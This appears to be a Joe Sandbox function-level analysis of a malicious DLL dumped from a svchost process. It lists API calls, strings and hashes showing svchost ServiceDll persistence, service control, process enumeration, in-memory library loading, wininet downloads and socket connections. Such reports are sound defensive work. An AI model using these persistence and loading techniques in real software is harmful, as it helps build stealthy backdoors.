Function 10001E37 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 90stringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 10001E3C
wsprintfA.USER32 ref: 10001E7B

Part of subcall function 10001B5B: OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,?,00000000), ref: 10001B96
Part of subcall function 10001B5B: _local_unwind2.MSVCRT ref: 10001BA9

wsprintfA.USER32 ref: 10001EAE
strlen.MSVCRT ref: 10001EBB

Part of subcall function 10004A93: LoadLibraryA.KERNEL32(ADVAPI32.dll,?,00000000,?), ref: 10004AC0
Part of subcall function 10004A93: GetProcAddress.KERNEL32(00000000,RegCreateKeyExA), ref: 10004AD7
Part of subcall function 10004A93: GetProcAddress.KERNEL32(00000000,RegSetValueExA), ref: 10004AE2
Part of subcall function 10004A93: GetProcAddress.KERNEL32(00000000,RegDeleteKeyA), ref: 10004AED
Part of subcall function 10004A93: GetProcAddress.KERNEL32(00000000,RegDeleteValueA), ref: 10004AF8
Part of subcall function 10004A93: GetProcAddress.KERNEL32(00000000,RegOpenKeyExA), ref: 10004B03
Part of subcall function 10004A93: GetProcAddress.KERNEL32(00000000,RegCloseKey), ref: 10004B0E
Part of subcall function 10004A93: FreeLibrary.KERNEL32(00000000,?,00000000,?), ref: 10004C02

memset.MSVCRT ref: 10001EEE
lstrcpyA.KERNEL32(?,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost), ref: 10001F02
lstrlenA.KERNEL32(?,00000001), ref: 10001F0B

Part of subcall function 10001A43: OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,SySyeu,?,?,?,?,?,?,?,10003043,SySyeu), ref: 10001A54
Part of subcall function 10001A43: OpenServiceA.ADVAPI32(00000000,?,000F01FF,?,?,?,?,?,?,?,10003043,SySyeu), ref: 10001A69
Part of subcall function 10001A43: StartServiceA.ADVAPI32(00000000,00000000,00000000,?,?,?,?,?,?,?,10003043,SySyeu), ref: 10001A7A
Part of subcall function 10001A43: GetLastError.KERNEL32(?,?,?,?,?,?,?,10003043,SySyeu), ref: 10001A84
Part of subcall function 10001A43: CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,10003043,SySyeu), ref: 10001A92
Part of subcall function 10001A43: CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,10003043,SySyeu), ref: 10001AC2

Strings

SYSTEM\CurrentControlSet\Services\%s\Parameters, xrefs: 10001EA8
ServiceDll, xrefs: 10001ED2
%%SystemRoot%%\System32\svchost.exe -k "%s", xrefs: 10001E6F
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost, xrefs: 10001EFC

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressProc$Service$Open$CloseHandleLibraryManagerwsprintf$ErrorFreeH_prologLastLoadStart_local_unwind2lstrcpylstrlenmemsetstrlen
String ID: %%SystemRoot%%\System32\svchost.exe -k "%s"$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost$SYSTEM\CurrentControlSet\Services\%s\Parameters$ServiceDll
API String ID: 1573142492-3522277913
Opcode ID: 0128ef592e1c99bbe64aa5232a117bdd0909c69419edbc971054f239723094cd
Instruction ID: b0e3a08bed4d5a752cfc5ae4754fd9917613b9386cafdbad90e7966b10716f67
Opcode Fuzzy Hash: 0128ef592e1c99bbe64aa5232a117bdd0909c69419edbc971054f239723094cd
Instruction Fuzzy Hash: D9217EB290011CBBEB10DF94DC86EEF7B7DEB48780F104069FA08A2145EB715F558BA6

Function 10002F7B Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 69sleepprocessCOMMON

Download Yara Rule

APIs

Part of subcall function 10001ACF: OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 10001ADF
Part of subcall function 10001ACF: OpenServiceA.ADVAPI32(00000000,?,000F01FF), ref: 10001AF5
Part of subcall function 10001ACF: QueryServiceStatus.ADVAPI32(00000000,?), ref: 10001B06
Part of subcall function 10001ACF: ControlService.ADVAPI32(00000000,00000001,?), ref: 10001B1D
Part of subcall function 10001ACF: Sleep.KERNEL32(0000000A), ref: 10001B2F
Part of subcall function 10001ACF: QueryServiceStatus.ADVAPI32(00000000,?), ref: 10001B3A
Part of subcall function 10001ACF: CloseServiceHandle.ADVAPI32(00000000), ref: 10001B43
Part of subcall function 10001ACF: CloseServiceHandle.ADVAPI32(00000000), ref: 10001B4A

Part of subcall function 100020C8: GetModuleFileNameA.KERNEL32(?,00000104), ref: 100020E5
Part of subcall function 100020C8: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 100020F3
Part of subcall function 100020C8: GetTickCount.KERNEL32 ref: 100020F9
Part of subcall function 100020C8: wsprintfA.USER32 ref: 10002113
Part of subcall function 100020C8: MoveFileA.KERNEL32(?,?), ref: 1000212A
Part of subcall function 100020C8: MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 1000213B

wsprintfA.USER32 ref: 10002FC4
CreateProcessA.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 10002FE7
GetModuleFileNameA.KERNEL32(?,00000104), ref: 10002FFF
GetFileAttributesA.KERNEL32(?), ref: 1000300C
GetLastError.KERNEL32 ref: 10003018
Sleep.KERNEL32(000003E8), ref: 10003028
GetFileAttributesA.KERNEL32(?), ref: 10003035

Strings

GUpdate%s, xrefs: 10002FB0
WinSta0\Default, xrefs: 10002FBD
SySyeu, xrefs: 10002F85, 10002F8A, 10002FA9, 1000303D
D, xrefs: 10002FB6

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: FileService$AttributesCloseHandleModuleMoveNameOpenQuerySleepStatuswsprintf$ControlCountCreateDirectoryErrorLastManagerProcessSystemTick
String ID: D$GUpdate%s$SySyeu$WinSta0\Default
API String ID: 3185690247-1592408275
Opcode ID: 677340bbb3e7d3deb07a041f04dc4ca50ceeb01c397db1cab97bb9b2955d953d
Instruction ID: ebf8a919204883b3cf295611002b4e487a781f5c3db184b4aeea1269bd5b3cbf
Opcode Fuzzy Hash: 677340bbb3e7d3deb07a041f04dc4ca50ceeb01c397db1cab97bb9b2955d953d
Instruction Fuzzy Hash: EB11B672401269AFFB11DBA0CC45EDF37BEFF09381F204051F506E2098DBB49A088BA1

Function 1000473F Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 60libraryloaderstringCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 10004750
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 10004764
GetProcAddress.KERNEL32(00000000,Process32First), ref: 1000476E
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 10004779
lstrcmpiA.KERNEL32(?,?), ref: 100047B1
CloseHandle.KERNEL32(00000000), ref: 100047D0
FreeLibrary.KERNEL32(00000000), ref: 100047DB

Strings

kernel32.dll, xrefs: 1000474B
CreateToolhelp32Snapshot, xrefs: 1000475E
Process32Next, xrefs: 10004770
Process32First, xrefs: 10004766

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressProc$Library$CloseFreeHandleLoadlstrcmpi
String ID: CreateToolhelp32Snapshot$Process32First$Process32Next$kernel32.dll
API String ID: 1314729832-4285911020
Opcode ID: edd1cf7752d3c0a317ed2cc814c912f2b541baf62ab1e742b5b3ac3e1cc50ead
Instruction ID: 62e2a4d820bdf17ee503cc2422b7b88c1aaff87933f8729642c2e5364a3b347a
Opcode Fuzzy Hash: edd1cf7752d3c0a317ed2cc814c912f2b541baf62ab1e742b5b3ac3e1cc50ead
Instruction Fuzzy Hash: F3115E71D01228ABFB10DB618C88FEEBBF8EF497C1F110095E904E2144DB75AA408AA4

Function 10003B9E Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 106libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,?,?,?,?,?,1000397D), ref: 10003BC4
GetProcAddress.KERNEL32(00000000,IsBadReadPtr), ref: 10003BD3
LoadLibraryA.KERNEL32(?,?,?,?,1000397D), ref: 10003C0D
realloc.MSVCRT ref: 10003C2C
GetProcAddress.KERNEL32(?,?), ref: 10003C85
FreeLibrary.KERNEL32(?,1000397D), ref: 10003CC7

Strings

kernel32.dll, xrefs: 10003BAA
IsBadReadPtr, xrefs: 10003BCA

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: Library$AddressLoadProc$Freerealloc
String ID: IsBadReadPtr$kernel32.dll
API String ID: 343009874-2271619998
Opcode ID: 449202d9bcd9b40c7640628575b91c895d67466b70a0093317474b01c75d12b5
Instruction ID: afc84e2e1f51588ee312ba66ad041d110bb41dc23133337ce681a0c6c223f4ac
Opcode Fuzzy Hash: 449202d9bcd9b40c7640628575b91c895d67466b70a0093317474b01c75d12b5
Instruction Fuzzy Hash: 45410571A0021AABFB51CF64C889B9EBBF8FF04395F118069E905E7259D735EE44CB90

Function 100029B6 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98filestringCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,00000170), ref: 100029D2
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 10002A05
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 10002A28
CloseHandle.KERNEL32(00000000), ref: 10002A3A
strlen.MSVCRT ref: 10002A47
wsprintfA.USER32 ref: 10002A6B
lstrcpyA.KERNEL32(?,?), ref: 10002A84

Part of subcall function 100027BC: memset.MSVCRT ref: 100027D8
Part of subcall function 100027BC: strrchr.MSVCRT ref: 100027E2
Part of subcall function 100027BC: strrchr.MSVCRT ref: 10002811
Part of subcall function 100027BC: strlen.MSVCRT ref: 10002821
Part of subcall function 100027BC: strncpy.MSVCRT ref: 1000283B
Part of subcall function 100027BC: memset.MSVCRT ref: 10002889
Part of subcall function 100027BC: wsprintfA.USER32 ref: 100028A4
Part of subcall function 100027BC: memset.MSVCRT ref: 100028B3

Strings

%s %s, xrefs: 10002A65

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: memset$Filestrlenstrrchrwsprintf$CloseCreateHandleWritelstrcpymemcpystrncpy
String ID: %s %s
API String ID: 3641787489-2939940506
Opcode ID: 5a089fb692a77de50dca985f2a1d46a33a195534b01f1893c6a9a2dd3832bb26
Instruction ID: 17f6a9bfa48d753ffad60fceaecdc7a51846e01dcf90a102910361a13764abaa
Opcode Fuzzy Hash: 5a089fb692a77de50dca985f2a1d46a33a195534b01f1893c6a9a2dd3832bb26
Instruction Fuzzy Hash: B5318972A001196FFB60DBA4CC89FDB73ACDB05395F104562F608E2085EF71AE44CB61

Function 10002C96 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 72stringprocessCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 10002C9F
??2@YAPAXI@Z.MSVCRT(00000001), ref: 10002CB3
memcpy.MSVCRT(00000000,?,00000001,00000001), ref: 10002CBF
strrchr.MSVCRT ref: 10002CC7
??3@YAXPAX@Z.MSVCRT(00000000), ref: 10002D27

Part of subcall function 10004529: LoadLibraryA.KERNEL32(wininet.dll,?,00000001,00000000), ref: 1000454D
Part of subcall function 10004529: GetProcAddress.KERNEL32(00000000,InternetOpenA), ref: 10004564
Part of subcall function 10004529: GetProcAddress.KERNEL32(00000000,InternetOpenUrlA), ref: 1000457E
Part of subcall function 10004529: FreeLibrary.KERNEL32(00000000,?,00000001,00000000), ref: 1000459C

Part of subcall function 1000248B: GetFileAttributesA.KERNEL32(00000001,10002CE8,00000001), ref: 1000248F
Part of subcall function 1000248B: GetLastError.KERNEL32 ref: 1000249A

CreateProcessA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 10002D18

Strings

WinSta0\Default, xrefs: 10002D11
D, xrefs: 10002CFB

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressLibraryProc$??2@??3@AttributesCreateErrorFileFreeLastLoadProcessmemcpystrlenstrrchr
String ID: D$WinSta0\Default
API String ID: 1737965409-1101385590
Opcode ID: fdc65b0dcff99aff6c43371ba455fda07db6a1f497c56a226c9a0abe83cfdb15
Instruction ID: 4c329e371b8b631c085a2e87808acd0a5feba54148e937fde04f6f1ec7f3be4b
Opcode Fuzzy Hash: fdc65b0dcff99aff6c43371ba455fda07db6a1f497c56a226c9a0abe83cfdb15
Instruction Fuzzy Hash: 6F01E1B75012286AFB01DBE49C45EDF77ACDF093D5F114422FE05E604ADEB49D0582E4

Function 10004467 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,?,00000000,?,00000000,Function_00004CE2,10005170,000000FF,?,100042CA,00000000), ref: 1000448F
GetProcAddress.KERNEL32(00000000,OpenInputDesktop), ref: 100044A4
GetProcAddress.KERNEL32(00000000,OpenDesktopA), ref: 100044B0
GetProcAddress.KERNEL32(00000000,CloseDesktop), ref: 100044BC

Strings

OpenDesktopA, xrefs: 100044A8
OpenInputDesktop, xrefs: 10004498
CloseDesktop, xrefs: 100044B4
user32.dll, xrefs: 1000448A

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CloseDesktop$OpenDesktopA$OpenInputDesktop$user32.dll
API String ID: 2238633743-3711086354
Opcode ID: c36e72de9a328b3aed83568275539afdfd72128828bb5f39de00532976b64ac8
Instruction ID: 34d8331da3f18528c44290a267cf2e76cab1e846e39b69c6303802ebf673ca42
Opcode Fuzzy Hash: c36e72de9a328b3aed83568275539afdfd72128828bb5f39de00532976b64ac8
Instruction Fuzzy Hash: A3116DB5D00229ABEB11DFA9CC44FDDBAF8FB0C790F214125F511F2254CB7158008BA4

Function 100023FA Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 42COMMON

Download Yara Rule

APIs

printf.MSVCRT ref: 1000240A

Part of subcall function 1000389D: VirtualAlloc.KERNEL32(?,?,00002000,00000004,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E), ref: 100038D8
Part of subcall function 1000389D: VirtualAlloc.KERNEL32(00000000,?,00002000,00000004,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E), ref: 100038E8
Part of subcall function 1000389D: GetProcessHeap.KERNEL32(00000000,00000014,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E,?,10006E5C), ref: 100038F9
Part of subcall function 1000389D: HeapAlloc.KERNEL32(00000000,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E,?,10006E5C,?), ref: 10003900
Part of subcall function 1000389D: VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E), ref: 10003924
Part of subcall function 1000389D: VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E), ref: 10003933
Part of subcall function 1000389D: memcpy.MSVCRT(00000000,?,?,?,759A4CB0,00000000,?,?,?,10002414,?,?,?,?,1000234E,?), ref: 10003944

OutputDebugStringA.KERNEL32(Can't load library from memory.,?,?,1000234E,?,10006E5C,?,00000000,00000000,?,?), ref: 10002421
printf.MSVCRT ref: 1000244D
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 10002462

Strings

Can't load library from memory., xrefs: 1000241C
PluginMe, xrefs: 10002429
LoadFromMemory , xrefs: 10002405
LoadFromMemory END---, xrefs: 10002448

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AllocVirtual$Heapprintf$DebugFreeOutputProcessStringmemcpy
String ID: Can't load library from memory.$LoadFromMemory $LoadFromMemory END---$PluginMe
API String ID: 2530445704-2282109540
Opcode ID: f0778e8a1c44c2343f6cf091ec4a36fe4ce25287fc1b95e6eb17d6c0cbbf42cd
Instruction ID: 01af0e0ac1652a7321e0a293c3daa08a0af86dfdeaa3eab1b942b575fdefc638
Opcode Fuzzy Hash: f0778e8a1c44c2343f6cf091ec4a36fe4ce25287fc1b95e6eb17d6c0cbbf42cd
Instruction Fuzzy Hash: C3F09636100114BBFF02AF90DC05FDE3B75EB897E2F348015FA0455069CF72581597A1

Function 100020C8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 36fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,00000104), ref: 100020E5
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 100020F3
GetTickCount.KERNEL32 ref: 100020F9
wsprintfA.USER32 ref: 10002113
MoveFileA.KERNEL32(?,?), ref: 1000212A
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 1000213B

Strings

%s\%d.bak, xrefs: 1000210D

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: File$Move$CountDirectoryModuleNameSystemTickwsprintf
String ID: %s\%d.bak
API String ID: 830686190-2116986511
Opcode ID: c8f7a2f9335d496cf424573f89800cf957bdb9276c51bc95e16fdfb109c3bf7e
Instruction ID: c4293e3e21d6716b8372ba05ce181a3280e6ef40116a7aaffd0535516b57a778
Opcode Fuzzy Hash: c8f7a2f9335d496cf424573f89800cf957bdb9276c51bc95e16fdfb109c3bf7e
Instruction Fuzzy Hash: BEF0A4BA800278ABEB10EB94CDCDECB777DEB18785F100191F755D2065DAB59684CFA0

Function 1000366A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00000144,00000000,?,?,100037E0), ref: 10003676
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 1000368E
GetProcAddress.KERNEL32(00000000,GetCurrentProcess), ref: 10003698
FreeLibrary.KERNEL32(00000000), ref: 100036AC

Strings

kernel32.dll, xrefs: 10003671
GetCurrentProcess, xrefs: 10003690
IsWow64Process, xrefs: 10003688

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressLibraryProc$FreeLoad
String ID: GetCurrentProcess$IsWow64Process$kernel32.dll
API String ID: 2256533930-2522683910
Opcode ID: 34a6eaa16ec599896768d47b9751df638f2169115c1a8e10c5d2607526b1ef77
Instruction ID: ef67112214a51d6d1f3e9f06108ff16868adfdb602b3d8d3b658392e0a076cbe
Opcode Fuzzy Hash: 34a6eaa16ec599896768d47b9751df638f2169115c1a8e10c5d2607526b1ef77
Instruction Fuzzy Hash: CBF0A072A00314BBF701D7E58C98DAF7BBCDB886D1B104019FA00A3208DB739D0189B5

Function 100021FF Relevance: 12.2, APIs: 5, Strings: 3, Instructions: 161memorysleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064), ref: 10002279
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 10002323
memcpy.MSVCRT(00000000,?,?), ref: 10002336
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 10002371
memcpy.MSVCRT(00000000,?,?), ref: 10002384

Strings

GW2, xrefs: 1000228A
SPh\n, xrefs: 1000233F
SGSWh5-, xrefs: 100022C4

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AllocVirtualmemcpy$Sleep
String ID: GW2$SGSWh5-$SPh\n
API String ID: 1263862976-685354651
Opcode ID: 3d25bdad23a031e0b48f737afd54ec3eb76eea0dcd6b60b485997711385254f5
Instruction ID: 2f54f0f1129bbba38d4c41c0db51b56afb961a9339435d6967ffbe2678c67ccd
Opcode Fuzzy Hash: 3d25bdad23a031e0b48f737afd54ec3eb76eea0dcd6b60b485997711385254f5
Instruction Fuzzy Hash: E241F3B5104244BEF720DFA18CC6F7F7A6CEB457C4F10842AFA894548DCB76AE40A622

Function 10001ACF Relevance: 12.1, APIs: 8, Instructions: 55servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 10001ADF
OpenServiceA.ADVAPI32(00000000,?,000F01FF), ref: 10001AF5
QueryServiceStatus.ADVAPI32(00000000,?), ref: 10001B06
ControlService.ADVAPI32(00000000,00000001,?), ref: 10001B1D
Sleep.KERNEL32(0000000A), ref: 10001B2F
QueryServiceStatus.ADVAPI32(00000000,?), ref: 10001B3A
CloseServiceHandle.ADVAPI32(00000000), ref: 10001B43
CloseServiceHandle.ADVAPI32(00000000), ref: 10001B4A

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID:
API String ID: 2359367111-0
Opcode ID: 5fba824a85b92acc79a789ef028bf042a0167ae6a51034b94a07b5d3b0519e81
Instruction ID: 13eb0d6c039a265936ccbdc891ea19e15248044979c42994c6487f454c48f15c
Opcode Fuzzy Hash: 5fba824a85b92acc79a789ef028bf042a0167ae6a51034b94a07b5d3b0519e81
Instruction Fuzzy Hash: 87017531644627ABF7119BA09C89FFF7BBAEF0A7C1F204060FA01D509DEB648542D6A1

Function 10001445 Relevance: 10.6, APIs: 7, Instructions: 85networkCOMMON

Download Yara Rule

APIs

Part of subcall function 1000180A: setsockopt.WS2_32(?,0000FFFF,00000080,00000000,00000004), ref: 1000182F
Part of subcall function 1000180A: CancelIo.KERNEL32(?,?,10001455,00002081,00000000), ref: 10001838
Part of subcall function 1000180A: InterlockedExchange.KERNEL32(?,00000000), ref: 10001844
Part of subcall function 1000180A: closesocket.WS2_32(?), ref: 1000184D
Part of subcall function 1000180A: SetEvent.KERNEL32(?,?,10001455,00002081,00000000), ref: 10001856

ResetEvent.KERNEL32(?,00002081,00000000,00000000), ref: 10001458
socket.WS2_32(00000002,00000001,00000006), ref: 10001469
gethostbyname.WS2_32(?), ref: 1000147A
htons.WS2_32(?), ref: 1000148F
connect.WS2_32(?,00000002,00000010), ref: 100014AC
setsockopt.WS2_32(?,0000FFFF,00000008,?,00000004), ref: 100014D1
WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 10001502

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: Eventsetsockopt$CancelExchangeInterlockedIoctlResetclosesocketconnectgethostbynamehtonssocket
String ID:
API String ID: 4281462294-0
